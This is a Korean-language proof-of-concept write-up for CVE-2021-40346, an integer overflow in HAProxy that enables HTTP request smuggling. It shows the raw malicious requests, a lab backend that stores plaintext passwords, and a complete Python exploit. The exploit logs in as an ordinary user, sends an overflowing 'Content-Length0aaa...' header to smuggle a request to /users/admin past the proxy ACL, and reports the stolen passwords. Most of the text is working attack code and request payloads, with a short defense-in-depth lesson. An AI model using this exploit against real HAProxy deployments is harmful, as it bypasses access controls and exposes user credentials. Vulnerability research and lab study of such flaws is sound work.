
HTTP Request Smuggling
이 프로젝트는 HAProxy의 중요한 정수 오버플로 취약점인 CVE-2021-40346을 시연하며, 이 취약점을 통해 HTTP 요청 스머글링 공격으로 보안 제어를 우회할 수 있습니다.
CVSSv3 점수: 7.5 (높음)
CVE-2021-40346은 HAProxy의 HTTP 헤더 파싱 로직에서 발생하는 정수 오버플로 취약점입니다. 헤더 이름이 255바이트를 초과하면 길이 값이 8비트 필드에서 오버플로되어 HAProxy가 요청 전달 시 헤더를 잘못 해석하게 됩니다.
공격자 전송: 헤더 이름 = "Content-Length0" + 255×'a' = 270바이트
1단계 (초기 파싱):
name_length = 270 % 256 = 14 저장 (8비트 오버플로)value_length = 1 설정Content-Length: 60 헤더를 읽어 본문 길이로 처리2단계 (요청 전달):
"Content-Length""0"content-length: 0 추가Content-Length: 60 헤더는 무시 (일반 로직에 따라)백엔드 처리:
content-length: 0 수신HAProxy가 관리자 경로에 대한 접근을 제한하는 ACL 규칙으로 구성되어 있다고 가정합니다:
http-request deny if { path_beg /users/admin }
PoC에서는 일반 사용자 세션(alice)을 사용하여 관리자만 접근할 수 있어야 하는 보호된 /users/admin 엔드포인트에 접근합니다.
악성 요청 (요청 1 - 포이즌):
POST / HTTP/1.1
Host: 127.0.0.1:8080
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 78
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:
HAProxy가 전달하는 요청:
POST / HTTP/1.1
host: 127.0.0.1:8080
content-length: 0
x-forwarded-for: 192.168.188.1
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:
완료 요청 (요청 2):
GET / HTTP/1.1
Host: 127.0.0.1:8080
백엔드가 처리하는 완전한 밀반입 요청:
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:GET / HTTP/1.1
Host: 127.0.0.1:8080
결과:
content-length: 0으로 POST / 전달 (ACL이 안전한 경로로 인식)POST / 처리 (본문 없음) 후 다음 요청 대기GET /users/admin을 보류 요청으로 처리GET /users/admin 처리, HAProxy ACL 우회취약한 HAProxy 인스턴스는 관리자 엔드포인트를 보호하기 위해 ACL 규칙으로 구성되어 있습니다:
...
# ACL to detect admin endpoint access
acl is_admin_endpoint path_beg /users/admin
# ACL to check for admin session cookie
acl has_admin_session cook(session) -m beg admin_
# Deny access to admin endpoint if user doesn't have admin session
http-request deny if is_admin_endpoint !has_admin_session
...
핵심 사항:
admin_으로 시작하지 않으면 /users/admin 차단user_로 시작하는 세션)는 거부됨백엔드 서버에는 세 명의 사용자와 관리자 엔드포인트가 있습니다:
USERS = [
{'id': 1, 'username': 'alice', 'password': 'alice123', 'role': 'user'},
{'id': 2, 'username': 'bob', 'password': 'bob456', 'role': 'user'},
{'id': 3, 'username': 'admin', 'password': 'admin_secret', 'role': 'admin'},
]
@app.route('/login', methods=['POST'])
def login():
# ... authentication logic ...
# Generate session token with role prefix
prefix = 'admin_' if user['role'] == 'admin' else 'user_'
token = prefix + secrets.token_hex(16)
resp.set_cookie('session', token, httponly=True)
return resp
@app.route('/users/admin', methods=['GET', 'POST'])
def users_admin():
# Returns sensitive data including all user passwords
rows = ''.join([
f"{u['id']} | {u['username']} | {u['email']} | "
f"{u['password']} | {u['role']}"
for u in USERS
])
return f"ADMIN PANELAll users with passwords:{rows}"
보안 모델:
user_a1b2c3d4... 획득admin_a1b2c3d4... 획득/users/admin 요청을 차단작동 원리:
POST / 요청을 확인 (허용됨)POST /에 대해 ACL 검사 (관리자 제한 없음)content-length: 0 전달 (오버플로 버그로 인해)GET /users/admin 요청 수신GET /users/admin을 직접 처리하여 암호 노출심층 방어 교훈: 이는 백엔드가 프록시를 맹목적으로 신뢰해서는 안 되는 이유를 보여줍니다. HAProxy의 ACL이 적용되어 있더라도 백엔드는:
@require_admin 데코레이터)을 구현해야 함프록시 수준의 접근 제어에만 의존하면 단일 실패 지점이 생성됩니다.
PoC는 일반 사용자 세션을 사용하여 HAProxy ACL을 우회하고 /users/admin에 접근하는 과정을 네 가지 주요 단계로 보여줍니다:
# Login as alice (non-admin user)
body = "username=alice&password=alice123"
login = f"POST /login HTTP/1.1\r\n" \
f"Host: {TARGET}:{PORT}\r\n" \
f"Content-Type: application/x-www-form-urlencoded\r\n" \
f"Content-Length: {len(body)}\r\n\r\n{body}".encode()
sock = socket.socket()
sock.connect((TARGET, PORT))
sock.sendall(login)
time.sleep(0.5)
# Receive response and extract session token
resp = b""
while True:
chunk = sock.recv(4096)
if not chunk:
break
resp += chunk
sock.close()
session = resp.decode().split('session=')[1].split(';')[0]
print(f"✓ Session: {session[:35]}...")
목적:
/users/admin 엔드포인트에 접근 불가# Craft incomplete smuggled request targeting admin endpoint
smuggled_incomplete = f"GET /users/admin HTTP/1.1\r\nCookie: session={session}\r\nDUMMY:"
중요 세부 사항:
/users/admin 경로 대상DUMMY: 헤더로 끝나며(CRLF 없음) 요청을 불완전하게 유지# Create overflow header (270 bytes = 14 after 8-bit overflow)
overflow_header = "Content-Length0" + ("a" * 255)
# Build complete poison request
poison = (
f"POST / HTTP/1.1\r\n"
f"Host: {TARGET}:{PORT}\r\n"
f"{overflow_header}:\r\n" # Triggers integer overflow
f"Content-Length: {len(smuggled_incomplete)}\r\n" # Real body length
f"\r\n"
f"{smuggled_incomplete}" # Smuggled request as "body"
).encode()
발생 과정:
Content-Length0aaa... (270바이트)가 14바이트로 오버플로"Content-Length""0"content-length: 0# Send poison request
sock = socket.socket()
sock.connect((TARGET, PORT))
sock.sendall(poison)
time.sleep(1)
resp1 = sock.recv(4096) # Receive POST / response
# Send completion request (completes smuggled request)
completion = (
f"GET / HTTP/1.1\r\n"
f"Host: {TARGET}:{PORT}\r\n"
f"\r\n"
).encode()
sock.sendall(completion)
time.sleep(2)
# Capture the response of the smuggled request
all_data = b""
sock.settimeout(5)
try:
while True:
chunk = sock.recv(4096)
if not chunk:
break
all_data += chunk
except:
pass
sock.close()
# Decode and check for success
text = all_data.decode('utf-8', errors='ignore')
print(f"\n[RESULTS] {len(all_data)} bytes received")
print("="*70)
print(text)
print("="*70)
if "admin_secret" in text:
print("\n✅ SUCCESS! BYPASSED HAPROXY ACL!")
print("🔓 Stolen passwords visible in response above!")
else:
print("\n⚠️ Check backend logs - smuggling is working but response capture needs adjustment")
요청 흐름:
GET /users/admin 버퍼링GET /users/admin 처리admin_secret 키워드 확인